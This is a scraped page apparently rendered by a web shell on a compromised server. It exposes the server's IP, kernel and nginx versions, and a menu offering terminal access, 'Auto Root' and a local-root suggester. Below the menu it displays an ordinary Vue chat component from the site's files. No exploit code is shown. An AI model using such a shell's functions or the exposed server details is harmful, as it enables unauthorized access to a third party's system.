Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.39.197
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp_probe /
resources /
js /
components /
Delete
Unzip
Name
Size
Permission
Date
Action
ChatConversations.vue
2.76
KB
-rw-r--r--
2021-02-02 18:24
ChatForm.vue
1.84
KB
-rw-r--r--
2021-02-10 12:05
ChatMessages.vue
2.35
KB
-rw-r--r--
2021-02-09 19:42
ConversationParticipants.vue
1.23
KB
-rw-r--r--
2021-02-02 18:24
Save
Rename
<template> <div class="card card-default"> <div class="card-header">Conversations</div> <div class="card-body"> <button class="btn btn-primary btn-sm" @click="createConversation()">New Conversation</button> <br /> <br /> <ul class="conversation"> <li class="clearfix py-2 border-bottom" v-for="(convo, index) in conversations" :key="index"> <div class="chat-body clearfix"> <div class="header"> <a href="#" @click="showConversation(convo.id)"> <strong class="primary-font">Conversation {{ convo.id }}</strong> </a> | <a v-if="!isParticipant(convo.id)" href="#" class="text-success" @click="joinConversation(convo.id)" > <strong>Join</strong> </a> <a v-else href="#" class="text-danger" title="leave conversation" @click="leaveConversation(convo.id)" > <strong>Leave</strong> </a> </div> </div> </li> </ul> </div> </div> </template> <script> export default { data: () => ({ conversation: null, conversations: [] }), props: ["messages"], methods: { createConversation() { axios.post("/chat/conversations").then(response => { location.reload(); }); }, fetchConversations() { axios.get("/chat/conversations").then(response => { this.conversations = response.data.data; }); }, showConversation(id) { window.location.href = "home?conversation_id=" + id; }, isParticipant(id) { return window.conversations.indexOf(id) !== -1; }, leaveConversation(id) { let participationId; const convo = this.conversations.find(c => c.id === id); participationId = convo.participants.data.find( p => p.id == window.participant.id ).participation[0]["id"]; axios .delete(`/chat/conversations/${id}/participants/${participationId}`) .then(() => { window.location.href = "home?conversation_id=" + id; }); }, joinConversation(id) { const payload = { participants: [ { id: window.participant.id, type: window.participant.type } ] }; axios .post(`/chat/conversations/${id}/participants`, payload) .then(response => { window.location.href = "home?conversation_id=" + id; }); } }, created() { this.fetchConversations(); } }; </script> <style lang="scss" scoped> ul.conversation { padding: 0; list-style: none; } </style>